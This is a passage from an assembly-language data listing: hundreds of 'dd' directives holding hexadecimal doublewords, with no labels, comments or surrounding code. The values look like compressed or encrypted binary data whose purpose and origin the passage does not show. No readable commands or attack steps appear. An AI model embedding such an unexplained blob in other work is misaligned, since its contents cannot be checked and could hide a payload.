0B0E0F72Eh, 0A0B8BDE0h, 5D8D033Eh dd 0C235B335h, 0D1EC0E7Ch, 0DEC1C04Ah, 0EDBF6B04h, 1D853A32h dd 0C835A7FAh, 41D06413h, 0BD499D8Dh, 0A22FAD7Eh, 421A2811h dd 0F530BC96h, 917B4CB2h, 6AF3E10Dh, 0DF95C966h, 858D4907h dd 101B2FF6h, 1FA8886h, 8B525090h, 0B0310FD7h, 0EA8A080Ch dd 4586C5Ah, 904F5F7Ah, 16232F2Fh, 0FCA3C904h, 329BCC83h dd 0B3885CA8h, 0D9BD2320h, 5521BF1Bh, 9AD78B9h, 45C0B05Ah dd 0F5637705h, 1698C14Ch, 64912409h, 1011C61h, 32EF5B5h dd 6E474B8Bh, 0C5D907FAh, 0D644D0EDh, 3BDED5C3h, 111501D7h dd 831312Ch, 6E05F520h, 2DF2B44Dh, 0E680897Ch, 0DB1458D0h dd 1200E248h, 84311969h, 0DA290109h, 26FACBE8h, 0DAE57007h dd 33226961h, 0FDCAEA8Dh, 0C82EC0DBh, 2E8DF4DCh, 334FCB4h dd 256861EDh, 25BCD7E9h, 24F640B2h, 0C32D62ADh, 0B13717h dd 60CD9A26h, 890B23B0h, 2B0619BDh, 514Eh, 809EE5ACh, 34C04043h dd 0FD8E82BEh, 8F850092h, 8DFEEF88h, 0B524FF56h, 55A53DDDh dd 0EF6022CDh, 0C9038D1h, 9E93D13h, 0FC00BF1Dh, 7C4BD77Ah dd 906DB717h, 83EB1678h, 9DA9442Eh, 0D0FF0435h, 0B28069ACh dd 0D4E3D2EAh, 50C8E901h, 0C275457Bh, 41CC501h, 12859009h dd 0F39A400Ch, 1B11807Fh, 0F2FD4386h, 80303018h, 1E502500h dd 0FBA66F9h, 0A411933Fh, 87A1192Bh, 4E232E8h, 8A0FB5E2h dd 9C877AA8h, 3B506063h, 0A075F23Dh, 0BAFE8B24h, 0C1E26044h dd 19D41300h, 0FE0BD3Fh, 0D9318C01h, 87D03B45h, 8B74E87Bh dd 0E908E458h, 0A676D4h, 9DCEDA30h, 2F8C8D0Ch, 5C78CC00h dd 0E99E4CFFh, 6C8B5C61h, 75D2B803h, 0C8CD4F03h, 0F285826h dd 9AC2E8Fh, 59CF5AA1h, 0A5D730DDh, 7ADD1153h, 3467DF88h dd 51E5943h, 2013598h, 2B65BDD5h, 2DFDF844h, 2F76ECB4h dd 207F8331h, 9907CF89h, 387E6Ah, 3F52A4A9h, 0BB0B8B7Ch dd 0A489F24h, 64343908h, 48E84BFAh, 0D529FDh, 95EC6693h dd 3E2D8D5Fh, 5D223790h, 5EFB8C27h, 0D640FB56h, 1E89F9F1h dd 0FAA244Eh, 6D396001h, 6A99D41Fh, 0CA64B280h, 97788360h dd 88D36A04h, 877FB900h, 0D1328828h, 0BF028084h, 2E0A481Ah dd 757C5558h, 0D1BA2BD6h, 0AC1025E6h, 500083B8h, 0C5B4F4ACh dd 16F541DAh, 0CCA0D377h, 59F78A92h, 0A25623FDh, 933A301Bh dd 77075D07h, 728E4DF5h, 601B09h, 0BEBF4511h, 0C518122Dh dd 85480A51h, 0B1B74BD7h, 0BD69F500h, 0E2809DFAh, 29C51DEEh dd 282AD3B5h, 68056CF0h, 7AFB01E3h, 37BAF780h, 2C02C5Fh dd 0F88B08FCh, 0A082D724h, 57600A6Eh, 0D3001AB7h, 98FA768Fh dd 570E4CD9h, 0FF893C39h, 0D8EF1DB5h, 0C7F99760h, 60010226h dd 0A63B0350h, 243A59FFh, 41D5114Fh, 3D1089BAh, 0E2C51120h dd 1309BD64h, 0A415DD8Dh, 8F9FE7Ch, 33E44585h, 3C9A032Dh dd 888E55CDh, 732874B1h, 0D4060FB7h, 0EA117E2h, 0FB7C3AC0h dd 49B96285h, 74DC555Ch, 7DE71CFEh, 3450D2FFh, 8E60BEBFh dd 26CD6A68h, 22AE6DAEh, 5C7F00DCh, 48B91E66h, 0F52C973h dd 0DFE74BBBh, 8061B3A0h, 0A3752C02h, 449D8988h, 8B60172Fh dd 0D25AD785h, 0A875818Dh, 0FFCACC4Fh, 2AC9C814h, 0A58CA53h dd 92BFD06Bh, 0F0E76BA6h, 79E427Fh, 31659F9Ch, 0F79C9E87h dd 0D6800304h, 7C1368E8h, 5F521E88h, 2434811Eh, 1126C5Bh dd 0F668CEA4h, 63C5B30Bh, 65840337h, 0D8E47935h, 0CF310Ah dd 0F78A321Dh, 8208554Fh, 0C06FE82Ah, 4DF40A09h, 95AB583Ah dd 2E6AC4C1h, 0B1C08F9Bh, 0AF4F7192h, 0F053860Dh, 6C51A65Ah dd 702826C5h, 0E8F3278Bh, 45F9F7D2h, 0E360E2A6h, 9F52EF7h dd 0C0DA3AAEh, 164117F0h, 22EEDC02h, 0BC928B0Fh, 1BD3E40h dd 6E85C780h, 0E71225E6h, 35C0B75Dh, 65571382h, 8DF542F9h dd 102963Dh, 1EBAF400h, 2C40BFF0h, 45365061h, 603393B6h dd 44860F89h, 0FEA5071Ah, 1DB94161h, 140E733Ch, 159E960h dd 42CD23B6h, 0A0634ED4h, 0FFC3C55Fh, 662582A3h, 5A0C837Ch dd 959DD061h, 0A860C411h, 76C0105Eh, 330B6ACBh, 1D192595h dd 53BBD0A4h, 0DA819600h, 0EE5FCC22h, 32C9F0B9h, 0B430C57h dd 72085E61h, 25794C56h, 600D2695h, 85C3043Eh, 81FBB79Ah dd 0BEC5B5C4h, 4D18F5Dh, 9669ECE8h, 40BE7066h, 0A4D4C317h dd 0D5E5089h, 22C9184Ah, 86C6D62Ch, 0E6878B20h, 45601D44h dd 6B0ECAF1h, 0E6B474BDh, 0B1C2C8E8h, 0C00B0993h, 0D080FFC6h dd 0E97C4245h, 0ECC03CFFh, 0CA028C1Dh, 7D09580Bh, 1F0360A1h dd 97499832h, 0F2C03B4Dh, 1EFEC40h, 96A35B72h, 2B5D8D8Bh dd 4AB5BCD2h, 0DEA2548Eh, 3F1D6A00h, 0DBBB0791h, 0E926257Bh dd 30F617A0h, 4300CD8Ah, 0ABDA273Fh, 134FEDCAh, 0A620468Dh dd 606BE1D3h, 4005DF30h, 0B524230Fh, 619329A5h, 39A9A013h dd 0BACA503Ah, 46C4F29Ah, 513E83C5h, 0F989F88Ah, 1C11FC35h dd 64F68380h, 6E2E07CEh, 982F6E9Dh, 24BD2946h, 62292EFDh dd 3211084h, 0BD243995h, 9505ECE9h, 285833C4h, 207E1C16h dd 4B863433h, 804EDB1Fh, 0C9889955h, 235FEF7h, 9D29FAC2h dd 0D64A2D3Dh, 0B699740h, 7AB0B680h, 8D310B61h, 5CE81C35h dd 5E54DFE7h, 0DD9C89EFh, 0EAC10449h, 0B5183F54h, 117D334h dd 0E532E881h, 0D211100h, 0A076A1Eh, 0ED3C7B65h, 40592091h dd 0CFB8B729h, 9589C704h, 90031F41h, 0A2EC5956h, 64DF00BBh dd 0C0EFEA21h, 7F3A0715h, 0A4F666CDh, 0B8A4ED90h, 7FD30264h dd 0F5BA35ACh, 502F8A5Fh, 0DC282Eh, 0E27565C4h, 157FD26Eh dd 0BADBDF28h, 6FD6D700h, 52505190h, 85A4A53h, 0CB24FE91h dd 750CD180h, 24809069h, 0C269BDCDh, 4D5E8D0Fh, 0FAC0D844h dd 97819523h, 9B586784h, 6CBAC37Ah, 87A9E0BFh, 0B83328B1h dd 0BF91281h, 8AB2AFDBh, 3051204Bh, 2900A2CFh, 0F28113F4h dd 58E936Fh, 18E95F01h, 0C8858804h, 5388025h, 0AFF0F480h dd 71E10181h, 0E94574CCh, 0FB53A45Fh, 3298DEh, 55EC2678h dd 8CA91BB7h, 251E2948h, 0CDDD2208h, 0D3B10924h, 0B8D06948h dd 0D6CB50DEh, 0BD9D509Eh, 3B02E301h, 0F259B46h, 9E145282h dd 6C14DC4Bh, 289D7EF9h, 1545C05Ch, 679E241h, 2F501E06h dd 0FF4196ACh, 15C1D741h, 0D8B94001h, 657C5B80h, 0BD83CA09h dd 244764F2h, 0AFE77B84h, 0CD02FC37h, 0C0D78B14h, 8A108AE4h dd 0E6A56B89h, 10FEB3CEh, 0D35A585Ah, 0ABFC833Eh, 758087EDh dd 6BB49232h, 0CC46F719h, 6B6C03BEh, 80A9DB93h, 2147A8F2h dd 50C2316Bh, 0A5D68BA1h, 1094496h, 6CB58C53h, 3BE42640h dd 50586911h, 0AF26C1DDh, 0F0B092Eh, 0B95C988Fh, 90321C33h dd 0F666A60h, 0F2DC0B2Eh, 0DB8F6E20h, 660681DFh, 61B1D8B8h dd 348F8786h, 80C6B81Ah, 0E256BB54h, 57820011h, 1420895h dd 0AE005364h, 99D79868h, 5F5F569Ah, 356E90h, 537775E8h dd 9BF3C493h, 98442F34h, 507F2705h, 3806328h, 46D1CCEh dd 0A5E459D0h, 0FF42C5FEh, 18B073B6h, 91001B7Fh, 5899F52Bh dd 92AC680h, 3339BD89h, 84426EDEh, 54BF200Dh, 661227A4h dd 5E4EE7E9h, 0C6D1C480h, 73803BF9h, 142ACA56h, 198D2308h dd 0F581608h dd 1D10B9DEh, 86815650h, 5F05E1C7h, 8D29F550h, 29179AC9h dd 8FE91E6Ah, 0B0EF467Ah, 4525CFE0h, 504E2E7Fh, 8A12B7E3h dd 67032D7h, 9648229h, 1BF7080Dh, 59821987h, 0E860B9B0h dd 901160A0h, 2ABF3201h, 25919501h, 41615F01h, 6658F8B8h dd 70A4F072h, 0FBBA3B53h, 0D7ED8084h, 820DB957h, 534A9BDh dd 2DC0235Ah, 0DABF1F4Ah, 0A9C5C054h, 2880F706h, 88A876D2h dd 9E281DDh, 43A13688h, 9D00241h, 0EEA8563Dh, 0D4E1C7E4h dd 0B55FFF31h, 0D9609B4Bh, 9090A44Bh, 0C3204B17h, 79642F74h dd 2E230471h, 0EB47B589h, 0D0B70340h, 0BFD7BB03h, 0F4CA6109h dd 27DCD174h, 0E44C56Eh, 8FE45B00h, 0EBC6CF1h, 8DA707E1h dd 80633085h, 3671F57h, 2B915A96h, 0F7E12750h, 0C9071D05h dd 8ACE1D59h, 2E0F0144h, 283BC9BFh, 2C9C0C56h, 291D4AE9h dd 1D198515h, 0C0113825h, 0F99D2409h, 0C6818603h, 9F80511Ch dd 0F1880B71h, 97FF71F9h, 0C0C0CCEDh, 9ADE86h, 7D295D95h dd 68FA8B81h, 0FD5EE609h, 768D895Ah, 571C41C3h, 74BC07Fh dd 21B10501h, 0DAF46A2Dh, 5FC9E478h, 60D9A68Ah, 6E119693h dd 0C00BA9B0h, 60981DEDh, 34243444h, 0B26ADEE6h, 39F901C9h dd 0E7143FFh, 8B6D6A6h, 4B3E0A69h, 3140BD24h, 3693A573h dd 559F04BEh, 85CF0818h, 0F2BCA313h, 54573217h, 8E0F0BD5h dd 0EF1AF69Ah, 15CD0282h, 39D55004h, 1A8F53DBh, 9BED5E83h dd 0D6FF26E0h, 0E9CD4D4Ah, 45DFF95Bh, 81EBF4A1h, 207DC88Eh dd 156C9A9h, 0C59A4A58h, 115C8A80h, 0CD1C60B4h, 2652BA66h dd 0EB4AFDB3h, 0F0C0839Ah, 7AFDE634h, 6C48EE04h, 0EC98D0Fh dd 0F49A893Ah, 0B1F864C1h, 66604700h, 0C4405A63h, 902701CEh dd 0F8074DBFh, 3D497C26h, 25A74CCFh, 2716C4D9h, 0B44F2E41h dd 894FCA40h, 19412085h, 50C08B01h, 21DB509h, 0F7591292h dd 35B0A216h, 9ED8AF91h, 9588163Dh, 0D7E2B571h, 159B77Fh dd 8BB0842Bh, 4DAEAFCBh, 0ACF2C592h, 0CD582DF9h, 825CC0F0h dd 9B0B32F4h, 66013348h, 20879048h, 0C274080Dh, 0C00DBAE0h dd 0B257F948h, 0F2807768h, 0D6AC4A06h, 7025EC25h, 30111532h dd 0FCE88E2Fh, 67BA0B2Eh, 0DA920993h, 913F7E15h, 0FD602F75h dd 11352519h, 0BE2A016Ah, 83EB8460h, 4E108B2Eh, 8B013545h dd 0CEFC1FEh, 43C9668h, 2230687h, 0D80DD257h, 371A293h dd 8432E91Ah, 0A1F0F8AAh, 97130DFh, 3FD0A67Ch, 0EA495A2h dd 507091A5h, 57C8D6Ah, 12006E56h, 64C1C361h, 413078E0h dd 3A27B5C7h, 62019DC2h, 854870E9h, 0A8009CC1h, 784C136Ch dd 97FD63BCh, 0A05734C2h, 0A4605AC7h, 1667D59h, 48A76365h dd 2EF43012h, 1B8F586h, 8F4D496Fh, 0E8DA5460h, 0AF1392C4h dd 0F5A891A9h, 9F0B7603h, 4FB00F39h, 9400EB0Dh, 62531C02h dd 12C2CBE2h, 0FC6AEC33h, 1D5B20C5h, 0C4ED73AEh, 0BED26EF0h dd 79D12Ch, 8B02441Ah, 0CDFE174h, 0EE073Dh, 0D329DC94h dd 0C88FC0h, 3C0B17F4h, 0E7031292h, 8BCC2B00h, 0AFEA75B1h dd 159400A8h, 9873550Ah, 1A1826B5h, 0E5828A90h, 6DB40075h dd 4F4D7F1h, 689D2D11h, 60D9E735h, 342A2957h, 0B500AAF5h dd 9E3A0C50h, 0C430562h, 0BF4A8665h, 2F399027h, 24097C5Bh dd 10FB7D97h, 171E768h, 0B1784E12h, 0F8D0F66Eh, 0C06F45D5h dd 0F1923D38h, 0A7F83B12h, 79135D21h, 9AF0C0A8h, 9009D61h dd 59B67252h, 39FD391Fh, 340081D9h, 0EEA9D2DBh, 1301AF56h dd 0CEFE65B8h, 0D5EC92FDh, 0B0894ED1h, 27924FEh, 380E5200h dd 0F1CB8CD3h, 8DC7001Ah, 0D46940ABh, 0A54879F0h, 317A3821h dd 6684D86Fh, 96CECD10h, 5D79B013h, 0A38337A8h, 0DC0EE65Eh dd 40D03B57h, 0F6683E02h, 973AEFCCh, 90083940h, 39F04081h dd 0A800E76Ah, 61990B2h, 5882694Fh, 5D0AD084h, 88EE021h dd 0CEBC53A5h, 0E9E70A2h, 69E3A6BAh, 81AD0CF0h, 811DAF1Bh dd 52EE7067h, 0DC3AC956h, 1A54A0A6h, 0EE1F7DB5h, 3707B0B3h dd 276C3D2Bh, 515806C6h, 13630EC2h, 9EFD5400h, 1C0584BAh dd 70FA2A28h, 281442E0h, 4D07FCB6h, 1F8E907Bh, 816A5C00h dd 291CE23Ah, 0CE84DDCFh, 0B863C00h, 0B9147054h, 19CF266h dd 5B84E959h, 803A484Dh, 21207F7Fh, 9AA40700h, 164EAD7Eh dd 977000F3h, 0E10FBDDh, 11519F2h, 1DD429E5h, 50E7755Bh dd 0BD80008Eh, 6B4066DEh, 2D00D6D7h, 35135559h, 3336EF9h dd 0AFB3182Ch, 6754237Eh, 8328D233h, 8007F0DAh, 0F9756AA6h dd 0AD776BA0h, 29FBC904h, 99BD177Eh, 0DAEDE72h, 0BC12D0h dd 236145A8h, 36011A94h, 70B73427h, 9B609D66h, 107C50AFh dd 0CE86D516h, 9DB03D02h, 10A075FEh, 2883A59Fh, 6E971600h dd 7A5C149Ah, 4D1918BEh, 1C8B8868h, 0E52CAF00h, 1A933782h dd 0B5998Dh, 0D3206F49h, 96507884h, 0AB1E14BBh, 0F61954B7h dd 802EA011h, 2ADD9292h, 54BE714h, 0B90800CCh, 0F39E2DBAh dd 0C0FCF6E5h, 0E9203E2Eh, 10C025E7h, 0CAC65894h, 737E6559h dd 1860039h, 8AEDF14h, 7D994301h, 0E0EBC6D2h, 74EA8D41h dd 873B5CD9h, 0AEB8C02Eh, 3E00F51Ch, 0D23A716Dh, 479018h dd 4B42DEB0h, 63F695B8h, 0D9AC5D29h, 0CAE5827h, 8B16A52Bh dd 0F8017D3Ah, 90B6AE04h, 48F41514h, 76F1071Fh, 99730FCDh dd 1901BED6h, 0D791EC3Fh, 8CFE24h, 0B3CFE96Bh, 0D1B5A858h dd 69EC1E02h, 778FFF95h, 0CD206980h, 33781357h, 0AC0A6724h dd 4E0E0513h, 0A7794F81h, 1029930Fh, 0B0671603h, 287E7ED9h dd 0A01E8Fh, 8ADA9742h, 6FB21901h, 0D7D3F500h, 2D0B4D48h dd 96639DDEh, 3455CB8h, 26EE63Fh, 6843DF63h, 2EE07F64h dd 0C09D5B29h, 1045D8Ah, 25D41D13h, 0F6F70226h, 5361F840h dd 2C7BD903h, 0ACB2AC29h, 819340EBh, 43708912h, 7F30E0Fh dd 0F9CB86h, 96B6B132h, 0D24B0935h, 22A648EEh, 703E44CEh dd 0F713812Dh, 4F69EB36h, 636775C0h, 0A6B821C5h, 0E45CBBB8h dd 66E9C213h, 5E501290h, 566212F1h, 0A9F741D4h, 3A5278B1h dd 52A0578Bh, 81215A54h, 20EA90C2h, 89571614h, 10D910E7h dd 6EF5076h, 263C6987h, 0D6885D7Eh, 2049F21h, 4240BA52h dd 0D131F158h, 0C483548Bh, 9DDF54FDh, 0BB530704h, 6012EA4h dd 38F51C3h, 89FE255Bh, 5581E33Eh, 1C04DA52h, 4134FF07h dd 40C48159h, 3911E911h, 2D00FC7Eh, 8BAC15BAh, 9453A5Bh dd 4636B85Eh, 6D6044D4h, 3D7F9Eh, 5FEDAACAh, 652EC89Fh dd 32378100h, 1AF5E96Ch, 47130053h, 76E43590h, 0C7007825h dd 0EB390EA2h, 4C732BC5h, 1E00F24Eh, 2DFB8EEDh, 2200AB4Bh dd 9B487226h, 0F5F0BF56h, 0F57C6AD8h, 199AEFCh, 0A221332Ah dd 0C0BA4EE0h, 0F01B0D30h, 0B0CBEA81h, 9F14C283h, 10168A84h dd 8D0479D2h, 2F47A385h, 0DDA6B9ABh, 0A52589C8h, 58860AF1h dd 381AC22Bh, 6682FFF0h, 5A4D3881h, 0B0369B55h, 2C3C50B7h dd 3B3ED003h, 84194532h, 2D70157Ah, 0D9B61054h, 0C882D7BCh dd 58098589h, 40031A23h, 0F3584F3Ch, 7934A120h, 1288F58Bh dd 0B63905CDh, 181C5BF8h, 20D1030Ch, 4DDE17BDh, 291208D8h dd 7E558220h, 82795295h, 4C8B5100h, 28811024h, 0C114B0A9h dd 0C03359B5h, 72EF2AC3h, 0F4512408h, 0D2684740h, 0D49A23A7h dd 0DB7957C9h, 48A4F117h, 0ADE852D3h, 731CB400h, 3C6BEB92h dd 28C0AC1Eh, 0A2FDDE00h, 1A7A57Fh, 0B41EBF31h, 40586C82h dd 3588EED0h, 820C0E8h dd 0C9333E71h, 2865BBA4h, 0E120F9ABh, 71EA1D2Dh, 0D507BA34h dd 0F7093575h, 3FF2E0DFh, 110051A7h, 8F5243B7h, 1600804h dd 66B0F680h, 3157D7BAh, 56BA7Dh, 0E9835FA3h, 5EB8004h dd 60F981C0h, 14F2148Fh, 1FC8C23Ah, 7935E780h, 903E2207h dd 1B1780C5h, 1532E2CDh, 816D1FE6h, 99D8BCB8h, 7FE75007h dd 20983E7Dh, 0F07E0C06h, 0F0B6C03h, 30236519h, 2721DB08h dd 8E03F014h, 9E80219Ah, 3E35D881h, 4D103CECh, 0B00EC401h dd 0B9E6BDAFh, 39F28178h, 3D5E8196h, 40E7289Dh, 0B814160Ch dd 0AF377E54h, 0AEB0982Eh, 5BCDF93h, 0F261A02Ch, 686B83A3h dd 641DCE80h, 0DC9BA618h, 0A3A1520h, 7DC682D0h, 0A7037020h dd 9BD8198Ch, 187BF072h, 0D1F00408h, 320EEB6Ch, 102B23DFh dd 0D2302000h, 37DEBFCDh, 1ED5B075h, 95C832FDh, 0C700ACE4h dd 5E215685h, 0EA193957h, 0D3086F66h, 7E222180h, 9DE40B56h dd 0A813B731h, 2DEDAE9Eh, 6BE72080h, 0EB728E85h, 0BEEBCEFEh dd 0C46864E8h, 1D568960h, 11775E23h, 822600CDh, 0EBE21956h dd 0D0F506B6h, 0D1F17D40h, 0D584B200h, 31C78D09h, 0E069014Fh dd 0D816F9D3h, 8800CFB7h, 8B59E32h, 510997BAh, 9C02E4E2h dd 0F0E8337Ch, 0F3466CD2h, 2C00D922h, 0A995F011h, 317CE85Ch dd 0CD18E038h, 58A980E1h, 272B444Fh, 699C1218h, 0F02459C2h dd 88A18C5h, 6F5E1E56h, 832770h, 67A8CB56h, 0AC6072DFh dd 6E7B2103h, 6EB29DBh, 2619C90h, 14A06047h, 0FF80F083h dd 0DB122AE5h, 2165A0C0h, 9C8601A4h, 942EC352h, 0D08982Ah dd 18D821h, 0EB77ECA4h, 719BE958h, 7F594A61h, 28BE1A33h dd 181C159Eh, 0D3125930h, 0BA09A60Eh, 0B1E363E8h, 450830D8h dd 0A6CB6C21h, 265C9200h, 0B78CC20Ch, 770E124Eh, 3A9C083Ch dd 344BDC3Fh, 980EB810h, 44949046h, 8CCDB8h, 6638354h dd 7C8FB9E1h, 65CC8854h, 8C4AA107h, 97D2FDA7h, 0CEE44849h dd 85549256h, 61D1C438h, 9BC49ACEh, 366A3069h, 0F57A29B8h dd 0DAD8D51Dh, 0C887D42Ah, 0F8600C44h, 0C700D9F1h, 626D69F0h dd 500F0EBEh, 8C1BC4E1h, 6CA6D224h, 88C4F015h, 0CA6B803Ch dd 0FC427CA6h, 0F0A16400h, 341A5284h, 7FBF0AB2h, 4EF01B43h dd 0A6CC8031h, 8CE0BA0Eh, 3A714A44h, 8001A6C4h, 1A5EDFD6h dd 40E5E9A0h, 772E4CACh, 0FEB84A62h, 18191138h, 0AA62ED0h dd 30D43946h, 0C86D8846h, 83CAA600h, 0D740B098h, 97340478h dd 90E9A9DBh, 147A81E8h, 0B088091h, 9361FD8h, 60224412h dd 620E1793h, 82DE49A0h, 25FDD50h, 0B70042E2h, 92DC959Fh dd 802EF80Ch, 7C4C8316h, 8BB08034h, 0FC643A30h, 7876EA72h dd 24A9F6EAh, 8608408h, 467C4B2Eh, 773600D0h, 526D5062h dd 984063CAh, 0F15031DAh, 48C1424h, 9C88A41Fh, 200B6222h dd 39A416D6h, 90296128h, 900FCF20h, 0B2C01F60h, 1000645Bh dd 1639D18h, 0BA0DA6CFh, 884918C8h, 0A600C770h, 0B33D073Eh dd 0B19FDDh, 0EDE4317Ah, 338E626Ch, 7CE9C0C1h, 0E8A4E3A4h dd 808111B8h, 6CCBF00Eh, 220F431Bh, 16251CDAh, 3E5071F0h dd 0A9E20710h, 11889FEAh, 4885800Eh, 1613D9C8h, 0F562553h dd 8810B108h, 0F00FC082h, 23756CCCh, 17268085h, 7F3810F0h dd 68C1577Ch, 0C975A02Fh, 203050A8h, 0EA0E206Eh, 0F2EE7923h dd 33371006h, 7E1546C0h, 9C89A408h, 4009C41Ah, 77A417D7h dd 71830D22h, 0C0191FDAh, 91004B7Ah, 3023293Ch, 60E0CA2h dd 31F37ED1h, 1046680Bh, 0AA42312h, 70944258h, 0A40F1ADAh dd 0E3933D27h, 0A8AF957Dh, 40F5A038h, 78B180E1h, 53A65E02h dd 43FCCAD9h, 4CC6E2B0h, 56870E7Ch, 38935E1Fh, 801C24A4h dd 3C34356h, 2E56822h, 53E25C19h, 4C67E3CEh, 2F623E44h dd 1BBDCE0h, 1776DC25h, 81E29108h, 9DCF5A2h, 5E5862D0h dd 0B850C02Ah, 7E305769h, 35967141h, 4A7D00A7h, 9FE11158h dd 2B1E4947h, 280B5E2h, 541699FEh, 79809959h, 5C1847h dd 0BFF57FB7h, 5E3A3378h, 0DD27C614h, 597204B8h, 38C51DFEh dd 49C3A89Bh, 0D5D07786h, 4FFCE0E7h, 0DF7988B9h, 2725C819h dd 0D7014E77h, 59A047B3h, 7C732126h, 8231D2E2h, 2E0EB9E0h dd 394828F3h, 0DE7CE3ACh, 91E0E513h, 37DAA804h, 987B501h dd 72F821B8h, 30D9F29Ch, 0E40BF48Ch, 0A6F633A5h, 46E8E05Ch dd 568402CBh, 315F5E24h, 7D2110CBh, 1D207C56h, 6998C5h dd 5EDAA5BCh, 4C941971h, 28DA465Eh, 61D0E594h, 0AE5B00C2h dd 51BCAAE0h, 0FA581D23h, 6461E62h, 2489E434h, 0D4496A29h dd 0C490CA11h, 675E230Ah, 7C205060h, 6AF15600h, 1810D894h dd 0A8C20138h, 0F5AFB817h, 1DB040BBh, 0A109A401h, 84495E5Bh dd 24621144h, 3A9CC860h, 0F11449Bh, 3E1BDB18h, 5F0AEA77h dd 90AD1379h, 0C25AED82h, 31E89025h, 7D4684E7h, 0CFF00A02h dd 0DC31FB6Ch, 0F0122910h, 3738B601h, 0E0CD0EBAh, 2D0FE180h dd 12E8FB65h, 256D1A09h, 11A49D2Fh, 9380800Fh, 1D9B6D0Ch dd 12D83411h, 0E36C0062h, 3B4A599Fh, 495860BAh, 8C10E868h dd 0F31E9000h, 0E07C8BD1h, 0A9AF3C27h, 0C0A05F25h, 0D2259039h dd 0C8C048B2h, 849E64FBh, 52700ACBh, 2A41276h, 0D5D9A7B9h dd 0A0DACD02h, 0DBADA284h, 2ECC0049h, 5B9014EBh, 0A150F48Eh dd 2A186F98h, 0D641111Eh, 0F3F8A0E9h, 0BE5A3DA2h, 2190DEA4h dd 180BD19Ch, 502D01ECh, 8C4BB201h, 0F070A010h, 0D018046h dd 136CCEF0h, 89DD0C0Fh, 45F0C828h, 0C42E9C0Fh, 0DC30F3BAh dd 670A6Ah, 382C3186h, 1A6C6132h, 0FFE07A72h, 0DE8DEF1Eh dd 222C9868h, 0AE617874h, 405101Fh, 0CF41CAA0h, 0C3CA8874h dd 35A8F21Ah, 40BA287h, 201769DEh, 0A977285Ch, 84AD4D93h dd 0B9335E1Bh, 83EA9EA1h, 8A141BE1h, 7CA918CCh, 82EE19D7h dd 0F5DD1100h, 1F03D5FBh, 224400CFh, 502964A0h, 30C8537Dh dd 890A499h, 0D91733F6h, 0FC1D645Fh, 0B1CCD1C1h, 60618AC4h dd 0DEA29823h, 1AF96630h, 407C5447h, 1817E441h, 0CA608CEh dd 46C4D0BAh, 0A6C66F40h, 750705FCh, 789B3E53h, 5CB7DF01h dd 740C50A6h, 0B8004846h, 14CEEE9Ah, 6F099DACh, 69178E5Ah dd 7EE0F554h, 0E310C118h, 33E6C587h, 30DBE230h, 8C1DCA39h dd 19B07D81h, 3F2770h, 37BC2316h, 0B7C8210Eh, 0A559F25h dd 0A4249044h, 0BC7D08h, 0D4E2664Ch, 0EE255D9Ch, 111C17FEh dd 46FC800Eh, 0B8C02B4h, 0BA8A2FE3h, 84C15B89h, 0F085DA6Fh dd 0CDA46016h, 0BA230FA6h, 3D11D8h, 96A6C572h, 4FFABEDh dd 0F2F4CC1Dh, 193CC865h, 0B5498810h, 0EA2A6709h, 0BA4D20Ah dd 7C4EECE8h, 3C6ECE40h, 70C9ABA7h, 0EE699C04h, 5AB0831Eh dd 0BA8350F8h, 97167CB8h, 0C09C8B0Ch, 201E820Ah, 2481EF23h dd 846744Ch, 0F2E84F05h, 0E741261h, 0A474D19Ch, 0A597B682h dd 11C30E8h, 1F076DEAh, 16ABA057h, 0C5AFBA40h, 252891CEh dd 45918C97h, 6F2E3180h, 9200FBD9h, 163C7730h, 4C726126h dd 9C8F480Dh, 4035B605h, 1A5FAE80h, 3C962CB8h, 10465Eh dd 8ED27EF7h, 1821419h, 0D51FE9Ah, 40223662h, 0E954AFECh dd 564CF0C3h, 61E67Eh, 806DB4A3h, 5ADECE39h, 0F6ABA201h dd 45C55E70h, 65C309Dh, 7103DB57h, 0AC736300h, 15FAB180h dd 1F6C00D4h, 8EA57116h, 9300D052h, 13BD9B83h, 60DB0CE9h dd 1043920h, 9F0780A7h, 672D7D54h, 9D95D750h, 342E2861h dd 64084C84h, 928CDAF8h dd 6D93060h, 0B6E24771h, 0F2807900h, 8C354B6Ah, 0AAFE00DDh dd 2777BAEEh, 0BE1668DEh, 8422FA73h, 0A41E3017h, 2A9C8B10h dd 0A415D5E0h, 8FCD3D00h, 8CBEB65Ah, 9E2C1EB9h, 8BDC2E81h dd 30450268h, 496009E4h, 0DB597122h, 0B2307A48h, 619E211Ah dd 0F84CBA26h, 0FB2CA0B9h, 0B069046Eh, 87DDE5AFh, 0ADD84160h dd 7021A1B7h, 9F180F71h, 88226397h, 3F34E51Fh, 60C8FF03h dd 0C0A8C72Ch, 5E205688h, 0A02C7F4Fh, 56810225h, 2FE45482h dd 241260E6h, 0DB00E8ABh, 55C0252Dh, 0FE5E02B7h, 0FDB02044h dd 70568CE9h, 28771C5Ch, 56CB83Ch, 0ECEFBE5Eh, 7B22DC07h dd 482E4A5h, 647112E2h, 0EC18E159h, 5CE8A000h, 442D12FFh dd 787360F5h, 0A814BC0Ah, 2E65431Dh, 1DCCCE43h, 7FC02C35h dd 948540FCh, 42F290D1h, 0CCD938B9h, 0D84BF819h, 2AE59F07h dd 0C8FBDDB1h, 0C81DE4h, 87C72734h, 3B1E57ECh, 0E1C45B00h dd 0EBFC03F4h, 0BB130202h, 66BBDB6h, 0AD6980E8h, 9D42C925h dd 80CA1120h, 367D8D8Eh, 0CEA30511h, 0C002FB3Ah, 0C65CA080h dd 6809CB30h, 793D7B85h, 40CC5F83h, 0A35C4DF8h, 8725DA5Eh dd 910C1785h, 89D280E0h, 12CDF1DEh, 20DA230Dh, 0DC8F9480h dd 2995C702h, 2027E403h, 0D5C48315h, 0BAF85A70h, 4C0C3750h dd 72095C05h, 3CB1DA69h, 0FEB88439h, 9C1D0805h, 24009E81h dd 9064FAE3h, 6F430593h, 0D21D222Ah, 64FAA74Ch, 764A070Ch dd 0B11808h, 680B7F55h, 9A52C306h, 31D90340h, 6CB0E532h dd 0E4CCD076h, 0FA4AF40Ch, 7ACE201Fh, 9C91E3h, 5039196Dh dd 4A010CE2h, 57269C4Bh, 0C0D2B078h, 4A3C64F4h, 22485E14h dd 87693C94h, 3E58518Ch, 9BFB3101h, 94373279h, 1E142DD8h dd 41309633h, 0C3CA4A6Fh, 6D53B7E1h, 803D8ED9h, 59AC5210h dd 77124BB9h, 213E31E7h, 80545118h, 0EE49B1BCh, 1139B2Fh dd 35D1704Ch, 8019E261h, 0C5FABC70h, 0BA864A6Eh, 9E8706F4h dd 89347F95h, 